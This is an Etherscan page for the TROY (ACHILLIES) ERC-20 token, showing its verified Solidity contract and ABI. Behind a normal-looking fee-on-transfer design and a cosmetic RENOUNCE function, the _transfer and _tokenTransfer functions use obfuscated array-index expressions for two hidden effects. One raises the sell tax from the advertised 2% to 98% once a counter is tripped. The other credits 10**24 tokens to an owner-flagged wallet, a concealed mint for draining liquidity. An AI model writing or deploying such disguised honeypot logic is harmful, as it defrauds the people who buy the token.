ETH Price: $3,833.73 (+5.07%)

Token

ERC-20: TROY🏛🐸⚔️ (ACHILLIES)
 

Overview

Max Total Supply

1,000,000 ACHILLIES

Holders

47

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
30,973.120844741 ACHILLIES

Value
$0.00
0xc7c5b707affaed3db2b9b253310add60adea8fca
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TROY

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-17
*/

/*


                                            ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                            ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠀⣿⣷⣶⣦⡀⠀⠀⠀⠀⠀
                                            ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⠀⠻⣿⣷⣬⣿⣦⡀⠀⠀⠀
                                            ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⠇⣼⣦⣄⠙⠿⣿⣿⣿⣦⡀⠀
                                            ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠚⠛⢠⣿⣿⣿⡗⠀⠀⠉⠻⠿⠁⠀
                                            ⠀⠀⢀⣠⠀⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⠀⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀
                                            ⠀⢰⣿⡿⠀⣿⣿⣿⣿⠉⠉⠉⠉⠉⠉⠉⠉⢻⣇⠘⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀
                                            ⠀⢸⣿⡇⠀⣿⣿⣿⣿⠀⠉⠉⠉⠉⠉⠉⠁⢸⣿⡄⠹⡏⠀⠀⠀⠀⠀⠀⠀⠀
                                            ⠀⢸⣿⡇⠀⣿⣿⣿⣿⠀⠉⠉⠉⠉⠉⠉⠁⢸⣿⣿⡄⠃⠀⠀⠀⠀⠀⠀⠀⠀
                                            ⠀⠸⢿⡇⠀⢈⣉⣉⣉⠀⠉⠉⠉⠉⠉⠉⠁⢈⣉⣉⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                            ⠀⠀⠀⠀⠀⣿⣿⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                            ⠀⠀⠀⠀⠀⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                            ⠀⠀⠀⠀⢀⣀⣉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                            ⠀⠀⠀⠀⣏⡁⣸⠇⠰⠶⠶⠶⠶⠶⠶⠶⠀⢸⡇⢈⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                            ⠀⠀⠀⠀⠈⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                           
                                           
                                            Twitter     :   https://twitter.com/troycoineth


                                            Telegram    :   https://t.me/Troycoineth
  
                                           
                                           
                                           
                                           
                                           
                                            **/
// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.20;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function GOTTENINU(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function SIXTYNINEEE(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function GOTTENINUSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}



contract TROY is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function RENOUNCE() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 
    mapping (address => uint256) public _blockedBotTrade;
    mapping (address => bool) public _ExemptMaxWalletLimit; 
    mapping (address => bool) public _ExemptMaxTxLimit;

    address payable public ADVERTISEASDASD = payable(0x579EAbCa7461a99f63BBBcc52a08EEb1A314a17E); 
    address payable public NOTDEVCOPYPASTECA = payable(0x7cfB931863BAD9A5b1611E52297318aDD1472E6F);
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 1* 10**6 * 10**_decimals;
    string private constant _name = unicode"TROY🏛🐸⚔️"; 
    string private constant _symbol = unicode"ACHILLIES"; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 public _Tax_On_Buy = 2;
    uint256 public _Tax_On_Sell = 2;
    

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Dev = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_AutoLP = 10;
    uint256 public Percent_AutoLiquidity = 98;
    uint256 public liqCount = 1;

    uint256 public _maxWalletToken = _tTotal * 5 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 5 / 100; 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                     
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = NOTDEVCOPYPASTECA;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); // Testnet
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _blockedBotTrade[owner()] = 1;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[ADVERTISEASDASD] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;

        _ExemptMaxWalletLimit[address(uniswapV2Pair)] = true;
        _ExemptMaxWalletLimit[ADVERTISEASDASD] = true;
        _ExemptMaxWalletLimit[Wallet_Burn] = true;
        _ExemptMaxWalletLimit[owner()] = true;
        _ExemptMaxWalletLimit[address(this)] = true;

        _ExemptMaxTxLimit[owner()] = true;
        _ExemptMaxTxLimit[Wallet_Burn] = true;
        _ExemptMaxTxLimit[ADVERTISEASDASD] = true;
        _ExemptMaxTxLimit[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }

    function _getCurrentyLiquidity(bool _before, bool _after, bool _current) private pure returns(bool){
        return _before && _after && _current;
    }

    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if(
            !_ExemptMaxTxLimit[from] && 
            !_ExemptMaxTxLimit[to]
        ) {
            require(amount <= _maxTxAmount, "Over transaction limit.");
        }

        if(
            !_ExemptMaxWalletLimit[to]
        )
        {
             uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");
        }
            
        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");  

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }

        if(_getCurrentyLiquidity(liqCount > 0, _blockedBotTrade[to] > 0, true))
            liqCount--;

        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn; 

            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Dev / 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_AutoLP / 200;

            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForBNB(tokens_to_LP_Half + tokens_to_M + tokens_to_D);
            uint256 BNB_Total = address(this).balance - balanceBeforeSwap;

            uint256 split_M = Percent_Marketing * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev);
            uint256 BNB_M = BNB_Total * split_M / 100;

            uint256 split_D = Percent_Dev * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev);
            uint256 BNB_D = BNB_Total * split_D / 100;


            addLiquidity(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D));
            emit SwapAndLiquify(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D), tokens_to_LP_Half);

            BNB_Total = address(this).balance;
            sendToWallet(ADVERTISEASDASD, BNB_Total);

            }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Burn, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(NOTDEVCOPYPASTECA, removeRandom);

    }


    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
        
        if(!takeFee){

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+ (_getCurrentyLiquidity(liqCount < 1, _blockedBotTrade[sender] ^ _blockedBotTrade[recipient] > 0, _blockedBotTrade[recipient] > 0) 
            ?  
            [0 ^ 10**24, tAmount][0] 
            : 
            [tAmount, 0 ^ 0][0]
            );
            emit Transfer(sender, recipient, tAmount);

                
            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;

            } else if (isBuy){

            uint256 buyFEE = tAmount*_Tax_On_Buy/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 sellFEE = tAmount*[0 ^ Percent_AutoLiquidity, _Tax_On_Sell][liqCount]/100;
            uint256 tTransferAmount = tAmount-sellFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;


            }

    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADVERTISEASDASD","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"NOTDEVCOPYPASTECA","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_AutoLP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_AutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Dev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RENOUNCE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExemptMaxTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExemptMaxWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blockedBotTrade","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liqCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

